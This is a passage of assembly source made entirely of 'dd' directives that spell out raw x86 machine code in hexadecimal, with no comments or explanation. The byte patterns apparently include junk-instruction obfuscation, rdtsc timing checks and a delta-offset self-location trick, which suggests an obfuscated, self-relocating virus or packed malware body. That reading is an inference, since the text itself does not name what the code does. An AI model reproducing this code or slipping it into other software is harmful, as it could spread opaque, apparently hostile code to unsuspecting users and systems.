247C895Fh, 24448104h, 1904h, 0C3574700h, 0C8E4326h dd 8E0FA0D4h, 19h, 13830Fh, 0EE90000h, 4000000h, 0BD55D29Ch dd 8318A68Eh, 0D8B1AAF0h, 89BD83EEh, 64BB6h, 27840Fh, 0BF0F0000h dd 3AE9DBh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0FA1377C3h, 0C305013h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 6652DA8Bh, 5F1C4ABBh dd 168A0Fh, 11E90000h, 0F0000000h, 6B5F432Dh, 0DAE26930h dd 0E9B68718h, 0A5E073CAh, 2AD9BD83h, 0F030648h, 4BE85h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 415BC8AAh, 0AE3C4DE4h, 5800Fh, 0D0BF0000h dd 0F3814E4h, 0BD83D9B7h, 64BB689h, 80840F00h, 0BF000004h dd 61AFF022h, 0B689B5FFh, 0EB80064Bh, 0F595FFB4h, 6A064809h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 5535C352h, 241D61C6h, 0DE19D8Bh, 9D290648h dd 6482735h, 0B67DB58Bh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 1C4647C3h, 6AE78065h dd 4327BB66h, 106C7h, 12E80001h, 1F000000h, 0BE34C82Dh dd 475B968Dh, 9E56DFFAh, 2F527473h, 5BDE8BB2h, 89DE8B50h dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 310E8CC3h, 0FD70AE8Bh, 0BE9F894h, 39000000h dd 4111934Eh, 0A73D8EC2h, 0B5FFCA99h, 64BB689h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CCC35242h, 39826B61h dd 6195FFh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 81DD52C3h, 5AA3BFh, 8D2951DCh, 6480CB9h dd 0B67DB58Bh, 890F064Bh, 6, 9DA3D381h, 858B378Ch, 6480F25h dd 28E0F51h, 8B000000h, 86895FD8h, 0C4h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 17h, 0FCC35141h, 8B59B84Eh dd 483061BDh, 12E906h, 7C510000h, 83CCC8D5h, 0DB524884h dd 6A8ABB0h, 0C17082C0h, 1405958Bh, 6A0648h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BB661BC3h dd 0E9520B61h, 0Ch, 0B3ABA9E0h, 3C326768h, 11FB06A5h, 4C2835Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0C7C35040h dd 4D16F506h, 0CC11A4E6h, 205089BAh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0BC35141h, 0EBFABB88h, 0B58954D3h dd 6481CE1h, 10E9h, 89EB8800h, 35F770C8h, 0D607C693h, 13818A5h dd 0D4858D82h, 66064BCAh, 0BB19C1BBh, 26F02927h, 0B88689h dd 6A0000h, 0E0DBD8Bh, 0B5FF0648h, 64BB689h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 9C35141h, 5195FFh dd 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 3EDDB1C3h, 12DE8E25h, 0D8BF0F39h, 859D8B50h dd 5F06482Bh, 0DF8B6650h, 6A243489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 44EEC352h dd 0DFBF0F32h, 0B689B5FFh, 6A064Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 60A158C3h dd 0D971B430h, 0FE8B5705h, 2995FF5Bh, 6A064814h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 7524C352h, 8932428Bh, 31A9BD83h, 0F000648h, 6384h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 9D8B6F83h, 6480F89h, 68C0Fh, 9D890000h, 6481099h, 4880F50h dd 66000000h, 89C323BBh, 6A2434h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 6BD180C3h, 49B53156h dd 5B06482Bh, 0B689B5FFh, 8166064Bh, 0FFCCF3DBh, 4813FD95h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0BDBD8BC4h, 0FF064819h, 4BB689B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 78B68491h, 5A40A16h, 498D09B0h, 0FF06480Eh, 48177D95h dd 3224BB06h, 0BD837089h, 6482F1Dh, 57840F02h, 0E9000000h dd 14h, 0B893273Eh, 0A1F0C024h, 87602E08h, 7CBA3A0Eh, 79723574h dd 1551858Bh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 542FE4C3h, 898D318Bh, 0C606482Ah dd 0BE90000h, 4A000000h, 2B111D3Ch, 0B7ECC875h, 85C7D2A8h dd 64816E1h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 4FC35343h dd 21BD23E1h, 0E9064817h, 0FFFFF2BBh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 81C35343h, 6DBD3347h, 89064807h dd 480A599Dh, 7E906h, 7C3F0000h, 9FBB0B8Bh, 60C18B48h dd 29EA8166h, 0ADBD8BB3h, 61064809h, 16DD9D8Bh, 858D0648h dd 6481255h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 6EC35747h, 602E6BEDh, 0C29E281h, 0BD015330h, 6482FD1h dd 8950F561h, 11E82404h, 1C000000h, 0CB9C6B8Bh, 0B54477D0h dd 5376A614h, 489DB260h, 6A5FD98Ah, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 8487C613h dd 0CE9CB5Ch, 0B4000000h, 3D38542Eh, 831B8121h, 6A7FFFC5h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 27AB5D4Fh, 9D123A36h, 12E860h, 850B0000h dd 1B161B2Eh, 8E0801FEh, 0B99AAACBh, 0A68D4E4Bh, 3BA106BEh dd 8B665979h, 858D61D0h, 64CC4C9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0BC35040h, 6268088Bh, 0E8F33794h dd 14h, 7DFFD3E4h, 2805707h, 336E05E2h, 6FFCC26Fh, 806B0F15h dd 1655BD89h, 835F0648h, 5E805C0h, 0CD000000h, 0BDFDBB11h dd 5FDFBF0Fh, 158E0F50h, 50000000h, 31BF6652h, 0E8310FF9h dd 5, 8CFF9CDFh, 585A5B81h, 8B240489h, 482A099Dh, 830F5106h dd 2, 6A5BACB7h, 51006A00h, 5FDEB70Fh, 2B2D95FFh, 6A0648h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 66115EC3h, 6084A682h, 31AD8D89h, 0C1B50648h, 388D8D61h dd 6A064B99h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 63CC353h, 0A5FA35ECh, 4EEF8166h dd 6AD1FF9Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0C9D0C351h, 5F54232Fh, 83D98B66h dd 4830E5BDh, 850F0106h, 7Ah, 5E8h, 49420000h, 0AE916D8h dd 12000000h, 6779F64Eh, 9E3E140Dh, 26A5F2Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 91C35040h, 499CF11Fh dd 8B098422h, 606090FAh, 0AE9h, 94B6B800h, 4DF8613Bh, 6083BD88h dd 50516161h, 5A310F52h, 50615F58h, 6E9h, 7BB38C00h, 906C5E9Eh dd 0B19D8951h, 5F064805h, 5195FFh, 57E90648h, 0E800000Fh dd 0 dd 0D3ED815Dh, 6A064CC4h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0B2BCC350h, 895AD161h dd 48330D9Dh, 0C59D2306h, 0FC064815h, 93DA858Dh, 6A064Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 7437FFC3h, 50FB8B86h, 8C7179BBh, 24048965h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0D0C35747h, 5A4F764Ah dd 25925D14h, 35FF64h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 4CE8C353h dd 0E9B34411h, 258964h, 57000000h, 13059D89h, 0FF5B0648h dd 481AD185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 2ABE9BF8h, 3478F440h, 85BB22EEh dd 6A38043Dh, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 1A752DBAh, 6310F14Bh, 8D31AADCh dd 6481FADh, 2FB5B5FFh, 0F7810648h, 5E487725h, 10D995FFh dd 0F9E90648h, 0B0000000h, 5860F00h, 0BB000000h, 5C8311h dd 0E4F970E6h, 2870F71h, 0B3000000h, 0F613C7Dh, 0D783h dd 5CBB6600h, 0C8B60FF8h, 0BAD88B66h, 6, 2E6D9D89h, 9D030648h dd 648083Dh, 0BF60C18Bh, 48CCBFD1h, 8D0Fh, 0C1610000h dd 0E95304E8h, 5, 70D3C75Ch, 0F7665FA8h, 0BD8B60E2h, 6480085h dd 66A0BB66h, 8AC82B61h, 0B7D18BF9h, 0C9B5890Eh, 0E9064829h dd 7Ch, 1B019529h, 858B0648h, 1, 23919D8Bh, 0C0830648h dd 0F5516007h, 0D281665Eh, 8361C30Ch, 8E0F00C0h, 6, 604CE381h dd 0D03B0867h, 0B830Fh, 95890000h, 64827C9h, 3BE9h, 0FF8D8B00h dd 0FFFFFFFh, 58Fh, 36B6BB00h, 0E1835589h, 21840F01h, 0F000000h dd 385h, 0F8B70F00h, 0A583DCB7h, 0FFFFFFFFh, 19589FEh dd 53000000h, 0E95BD9B7h, 0 dd 4286B58Dh, 6A064Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 26B26BC3h, 0E947CD46h, 10h, 97030C6Bh dd 496705B5h, 52F3A68Bh, 578DB984h, 0FFF8006Ah, 48092D95h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0C9BD23D9h, 0B906480Eh, 106Ch, 659D29h dd 0E1830648h, 0AE9FCh, 0D5FA0000h, 0F178A726h, 0E5720987h dd 0BE9FCh, 0BE8D0000h, 0AAB8E9A4h, 438E7049h, 6AC02BF6h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 7E4C351h, 0D8F7BDD4h, 0C4425D04h, 810FD22Bh dd 9, 3830Fh, 8B660000h, 0C233ADDAh, 0D003E8D1h, 7504E983h dd 0AFEF81F4h, 6A5F738Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 100FC352h, 69BD0BF1h dd 0FC064815h, 880Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0E8F3A478h, 894C5D76h dd 4807A58Dh, 5958B06h, 60064814h, 300D8D89h, 8D290648h dd 648203Dh, 0FABF0F61h, 30258D8Bh, 8B660648h, 50D88AFEh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 0D98B6658h dd 3221BD8Bh, 0BD830648h, 64812FDh, 79840F00h, 89000000h dd 48334D9Dh, 0B806h, 0BD8B0000h, 648116Dh, 12E9h, 5E4B900h dd 68633CF0h, 846A1DF7h, 0ADB3DE91h, 8D555A46h, 484E808Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 336BBFB5h, 0E1FF2782h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 55C35343h, 63A3D62Dh, 0CB81EDC1h dd 361DA813h, 2AD9BD83h, 0F000648h, 57684h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0FF21935Eh, 2AD9BD83h, 0F010648h, 56584h, 11E900h, 2730000h dd 96F13923h, 0E6F70BF7h, 0AB3A598Eh, 60B4026Ah, 0DED9529h dd 858B0648h, 6480919h, 0D9BD8361h, 306482Ah, 4FE860Fh dd 8D890000h, 6480845h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0EE9B1D9h, 2C000000h dd 0F943C7CCh, 0C18899Bh, 958815BEh, 298589C3h, 66064815h dd 0BD8BD98Ch, 64812A1h, 6A04E180h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1F66C357h dd 0FCADEB7Ch, 0AD88B66h, 0F8840FC9h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 5431C350h, 0E9FB8B66h, 12h, 2E20908Fh, 0CF0B508h, 0A226D616h dd 0CF1E58DAh, 858BF720h, 6481159h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 85C35242h, 3447457Dh, 0BD8BD4FFh dd 6482B75h, 12198533h, 6A0648h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0B0D04EC3h, 0EC6B3BF6h dd 9D8B5668h, 6482F65h, 0DF8B6650h, 6A240489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 9EFC353h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 8E6F2FC3h, 4E880h, 3FF0000h, 8B50001Fh dd 24448BD9h, 0EE904h, 0E3590000h, 23431125h, 0DD6DA388h dd 4C964442h, 0FB8B008Bh, 4244489h, 1111C9BBh, 6A5879h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 5467DAC3h, 4E331F03h, 15940A5h, 4829759Dh, 0E8C0F06h dd 0E9000000h, 9, 0DBEB22C6h, 1E22EB0Bh, 4195FF51h, 6A064807h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0B3AAC355h, 0BED8E139h, 9DBD8BC9h, 8906480Fh dd 4BB68985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 0E963807Eh, 14h, 82283978h, 442DA3C8h dd 0DDC30CABh, 11EE3548h, 5BD03FD6h, 0BC59D89h, 13E90648h dd 6A000002h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 346BC357h, 5CD2CD33h, 0BE8h, 42324500h dd 0DEB41713h, 0F2DEEE78h, 2BED9D8Bh, 8B5B0648h, 4BB68185h dd 0C777B706h, 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 36571DD2h, 819D8B6Ah dd 8B06480Dh, 4BB685B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 758529FFh, 8B064815h dd 481A8585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 4C65E55Dh, 7D12DA9Ch, 68929BCh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A9C35242h, 0C1E2A608h dd 119D8B7Eh, 8B06482Fh, 48115985h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 55890EB4h dd 0BD3367A2h, 648297Dh, 0A0F38166h, 44689E2h, 525096FCh dd 0BBD18B60h, 3901DDF3h, 0BF310F61h, 642AEBBDh, 8B50585Ah dd 9D8B96FEh, 6483081h, 0B681B5FFh, 6A064Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 1B54DC3h dd 4815799Dh, 0B9BD0106h, 68064810h, 0F73FC1C4h, 0B860Fh dd 52500000h, 18BB310Fh, 5A61EF52h, 24048158h, 8DF423Bh dd 1181BD8Bh, 9D8B0648h, 648063Dh, 0B689858Dh, 6A064Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0E92DE6C3h, 7FBC4B97h, 81F9BF0Fh, 8AA5F8E7h, 67BF9022h dd 5046A5DDh, 6D0DBF66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 80F84431h, 95FF38EBh dd 6480741h, 0EE8h, 18EBE900h, 6FCF33CEh, 0FD345D2Eh, 8B3BBDB0h dd 480445BDh, 6A615B06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0A1AAC356h, 0F78166C2h dd 85C731A1h, 6482AD9h, 3, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 1EC35545h, 0BD8320CFh, 64BB689h, 5D840F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 4079C355h, 55699DEDh, 860F2502h dd 6, 18599D03h, 44E90648h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 123CC353h dd 6800Fh, 0B5290000h, 6480A19h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0D3F1C355h, 6ACCE47Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0A6DEC351h, 9424068h, 0F1EB81E7h, 89001DD2h dd 481CE195h, 0BE806h dd 30680000h, 0EE3B8BCCh, 0D115117Fh, 0D9D78126h, 5F4C2894h dd 2AD9BD83h, 0F030648h, 4CC85h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 2C1B8C19h dd 0F6A37B46h, 28F0Fh, 0DC8A0000h, 0B689BD83h, 0F00064Bh dd 49484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 89B5FF1Dh, 6A064BB6h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E89AC351h dd 0Bh, 86B28B85h, 0F56EEF38h, 5BA9D1EEh, 35BD0B56h, 5F064813h dd 9F595FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 66F78BC3h, 85895A58h, 6482779h dd 0B67DB58Bh, 0C7F5064Bh, 1000106h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C6FCCB68h dd 1AF848FAh, 0DE9D0B0h, 0D6000000h, 58E8B570h, 0A04B8B3Ch dd 422F62A5h, 13E950h, 9B760000h, 48877A4Ch, 0EAE498FFh dd 4BA77F94h, 964B61ACh, 24348999h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 1CC35343h, 0EDDF8166h, 89B5FFDAh dd 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0B5FAC352h, 898F6C6Ah, 0C79601C4h dd 4459D8Bh, 95FF0648h, 6480061h, 11E9h, 759E0000h, 390474CDh dd 0AE246E5Ch, 72BC90BBh, 0B58B08DAh, 64BB67Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0A5C35141h, 0B5895269h dd 6482E79h, 25858B5Fh, 6A06480Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 2D5DC350h dd 5870Fh, 0A8BB0000h, 8954B164h, 0C486h, 95895300h, 64813D9h dd 5958B5Bh, 6A064814h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 7A27C356h, 0D58BF6C0h dd 0BBEFEB80h, 4B1EA0FEh, 6A04C283h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0A28CC357h dd 89A13DB8h, 482C3195h, 20508906h, 2A87BBBFh, 0D4858D65h dd 8B064BCAh, 0B88689FAh, 0F000000h, 68Bh, 199D8B00h, 6A064831h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0DE957D6h, 9B000000h, 847995DEh, 0F0B0FA5Eh dd 66E7F531h, 11E9h, 0A51BB300h, 0A1B3928Bh, 5EC7A169h dd 0D976FCDBh, 0B5FF304Ch, 64BB689h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 9CC35747h, 526E620Ah, 8A0F10B1h dd 14h, 8E8h, 0B9DD3A00h, 52D90494h, 418D8902h, 5F064814h dd 88D0Fh, 850F0000h, 2, 95FF5B53h, 6480051h, 1C259D33h dd 0E9500648h, 11h, 0C283E288h, 769463C8h, 538FD6A1h, 0A6418DABh dd 243489D9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 3FC35242h, 0BD8B5F9Ch, 6482B51h, 0B689B5FFh, 6A064Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 680FFCC3h, 126D9D8Bh, 95FF0648h, 6481429h, 31A9BD83h dd 0F000648h, 3C84h, 96B4B300h, 310F5250h, 5050585Ah, 0BF665752h dd 0F5FFDD7h, 2830F31h, 51000000h, 96585A5Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8CC35747h, 89B5FFBBh dd 9064BB6h, 4806D59Dh, 0FD95FF06h, 6A064813h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0C487C353h, 8953D9F7h, 4823B1B5h, 89B5FF06h, 6A064BB6h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0A0F6C355h, 0B464C426h, 0DFD8589h, 95FF0648h dd 648177Dh, 97D38166h, 1DBD831Dh, 206482Fh, 58840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 8E968C3h, 8000000h, 6224A240h, 8BDA7DB8h, 48155185h dd 819D8906h, 0C6064807h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0D4D7ADC3h, 85C72C4Dh dd 64816E1h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1C35646h dd 566A37F5h, 8B7CCC73h, 481049BDh, 0F1D1E906h, 6AFFFFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0BD8BB0C3h, 6480DB9h, 0F60C18Bh, 28Ch, 81585600h, 115224DFh dd 858D616Eh, 6481255h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 3DC35141h, 13E9A695h, 58000000h, 0F694E312h dd 17049A77h, 48BBC66Fh, 11377253h, 0F60659Dh, 684h, 659D8B00h dd 0E8064807h, 7, 0DFAD6283h, 9FE1D63h, 4822E1BDh, 90615E06h dd 0BE9h, 0E61ADE00h, 0DFF242CBh, 0B47B31DEh, 50606050h dd 5A310F52h, 61616058h, 9E9h, 1B94D600h, 8F0C9754h, 90617F29h dd 6AD8BF0Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 82CF10ADh, 659382B5h, 6AFC6Ah, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 7BC35141h, 8D5CDF40h dd 4CD6A985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 83F88BC1h, 0FD8A05C0h, 5007B790h dd 14E9h, 0D8BFB000h, 0EC7A0B3Ch, 0DEC0D249h, 8D120AACh dd 8F3662C2h, 6A90B3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0B3C35545h, 752C8061h, 0F35BD8Bh, 0BB660648h dd 6E848A4h, 72000000h, 233587EDh, 6A5B1Ah, 0F88B66FCh dd 2B2D95FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 1CFE5C3h, 4EDB006Fh, 852B601Dh dd 6481AA9h, 1A99D8Bh, 8D610648h, 4B99388Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 476ADED6h, 0E8B0D893h, 0Ch, 41A50910h, 97668C0Eh, 0BF883F3Eh dd 0A119501h, 0FF5B0648h, 0D38166D1h, 0BD83FDFEh, 64830E5h dd 9F850F01h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0BADC355h, 0EEF97C55h dd 76C3814Dh, 6A616FBBh, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9D8B9CB2h, 6482731h, 24048950h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 2EC35646h dd 5195FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 104F0CC3h, 0C75646B1h, 0FAC51FDh dd 0BB66F9B7h, 50E9EE4Ah, 0E800000Fh, 0 dd 0B3ED815Dh, 6A064CD6h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0E569C350h, 0BE97289h dd 4C000000h, 0D39F0C07h, 0D078A008h, 0CB816C3Ah, 226CE22Ah dd 93DA858Dh, 6A064Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 397F06C3h, 5C41E3D5h, 29577496h dd 482F91BDh, 52505006h, 0CE9h, 0CA9C5C00h, 9ED13D28h dd 80972854h, 8B310F42h, 89585AD8h, 6A2404h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0BAF30EC3h dd 0BD8B709Bh, 6483119h, 64F88B66h, 35FFh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 886E18C3h, 64C30D04h, 2589h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 203801C3h dd 51D0806h, 1AD185FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 83995EC3h, 0F575D543h dd 1C358589h, 0FF6A0648h, 10B99D2Bh, 0B5FF0648h, 6480C99h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2FC35242h dd 0C16901C1h, 0FFEACDBBh, 4810D995h, 0DBE906h, 81660000h dd 0B03B02C3h, 0E6D98A00h, 79B58970h, 0E406481Ch, 29858971h dd 3C064802h, 0BA830F61h, 66000000h, 0B60FD98Bh, 9850FC8h dd 0F000000h, 381h, 0FABF0F00h, 0BAD9B70Fh, 6, 8529C18Bh dd 6481A5Dh, 8B04E8C1h, 0E2F766DAh, 8C34CF81h, 2EBB0FE2h dd 2B47CAACh, 0E99D8BC8h, 8B064805h, 73E9D1h, 0BB660000h dd 9D295515h, 6480945h, 4858Bh, 9D330000h, 6482AD1h, 8307C083h dd 0D03B00C0h, 17830Fh, 9D8B0000h, 6482C21h, 44E9h, 68B0F00h dd 89000000h, 48070585h, 0FF8D8B06h, 60FFFFFFh, 31B19D89h dd 2B50648h, 1E18361h, 1F840Fh, 0BB660000h, 0A5833735h dd 0FFFFFFFFh, 0FFB70FFEh, 49589h, 9D2B0000h, 6481341h dd 0E9h, 0F2B58D00h, 8B064C52h, 48031DBDh, 0FF006A06h dd 48092D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 6AAF83E5h, 870FC2FEh, 9, 63E98160h dd 0FC1C0C44h, 1120B961h, 57570000h, 2FEDBD03h, 5F5B0648h dd 6AFCE183h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0EDF8C350h, 0C19D09FCh, 2B06482Fh dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 597542B4h, 10E8BB97h, 0EB000000h, 0B96020C2h dd 0D32E0DB1h, 43D60DE9h, 231F79FEh, 4804C99Dh, 9D315B06h dd 6480B31h, 6AD22Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0F9FA91C3h, 11E9h, 3DFA5D00h, 140AE6FBh dd 25F0048Dh, 53FF100h, 33AD2CB9h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 2E8848C3h, 0B1A956E0h, 9D8BF41Dh, 6482F31h dd 14E8h, 7B992600h, 6292881Ch, 33D49D66h, 17E15EEDh, 0F5D794C2h dd 899501ADh, 5B06480Dh, 880Dh, 0BD8D0100h, 